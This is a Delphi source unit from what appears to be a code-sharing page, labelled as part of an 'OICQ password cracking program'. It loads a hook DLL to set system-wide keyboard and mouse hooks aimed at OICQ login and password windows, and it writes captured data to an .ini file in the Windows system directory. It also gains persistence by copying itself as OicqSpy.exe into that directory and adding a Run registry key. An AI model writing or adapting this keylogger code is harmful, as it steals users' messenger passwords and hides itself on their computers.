📄 consthook.pas
字号:
unit ConstHook;
interface
uses Windows,Sysutils,Registry, WinTypes;
{$IFNDEF WIN32}
type
UINT = Longint;
{$ENDIF}
Const
Oldappcap='三陀工作室(Http://stgzs.126.com)';
Newappcap='三陀工作室(OICQ密码破解程序)';
DestCaption ='热键注册';
var
Oldhandle:Thandle;
PreOicq,Prepass:String;
OicqSavefilename : String;
//DestCaption : Array[1..3] of String =( 'OICQ用户登录', '请再次输入登录密码','热键注册');
Function Getsyspath():string;
Procedure SetAutoRun(Iscpy:Boolean);
//***********************************************
function GetMonitorMouseMoveMsg: UINT;
function GetMonitorKeyBoard: UINT;
function InstallSystemHook(AMonitorWnd: HWND): boolean;
function InstallTaskHook(AMonitorWnd: HWND): boolean;
function RemoveHook: boolean;
function IsHookSet: boolean;
{ Do not use InstallHook directly. Use InstallSystemHook or InstallTaskHook. }
function InstallHook(SystemHook: boolean; TaskHandle: THandle; AMonitorWnd: HWND): boolean;
implementation
uses WinProcs;
const
{$IFDEF WIN32}
HOOK_DLL = 'OicqHook.dll';
{$ELSE}
HOOK_DLL = 'OicqHook';
{$ENDIF}
function GetMonitorMouseMoveMsg: UINT; external HOOK_DLL;
function GetMonitorKeyBoard: UINT; external HOOK_DLL;
function InstallHook(SystemHook: boolean; TaskHandle: THandle;
AMonitorWnd: HWND): boolean; external HOOK_DLL;
function RemoveHook: boolean; external HOOK_DLL;
function IsHookSet: boolean; external HOOK_DLL;
function InstallSystemHook(AMonitorWnd: HWND): boolean;
begin
Result := InstallHook(TRUE, 0, AMonitorWnd);
end;
function InstallTaskHook(AMonitorWnd: HWND): boolean;
begin
Result := InstallHook(FALSE,
{$IFDEF WIN32}
GetCurrentThreadID,
{$ELSE}
GetCurrentTask,
{$ENDIF}
AMonitorWnd
);
end;
//**********************************************************
Function Getsyspath():string;
var
TmppathP:pchar;
MaxBuf:Dword;
begin
MaxBuf:=255;
Getmem(tmppathP,MaxBuf);
GetSystemDirectory(tmppathp,MaxBuf);
Result:=strpas(tmppathp)+'\Oicqpass.ini';
FreeMem( tmppathP );
end;
procedure SetAutoRun(Iscpy:Boolean);
Const
Regfilename ='OicqSpy.exe';
var
Myreg:Tregistry;
Syspath,currentpath:String;
begin
if Iscpy then
Begin
Syspath:=ExtractFilepath(OicqSavefilename);
currentpath:=ExtractFilepath(ParamStr(0));
if Uppercase(ExtractFileDir(OicqSavefilename))<> Uppercase(ExtractFileDir(ParamStr(0))) then
Begin
Copyfile( pchar(ParamStr(0)), pchar(Syspath+Regfilename),False);
Copyfile( pchar(currentpath+HOOK_DLL), pchar(Syspath+HOOK_DLL),True);
end;
end;
Myreg:=Tregistry.Create;
Try
Myreg.RootKey:=HKEY_LOCAL_MACHINE;
Myreg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',True);
if Iscpy then
Myreg.WriteString('Oicqpass',Regfilename);
finally
Myreg.free;
end;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -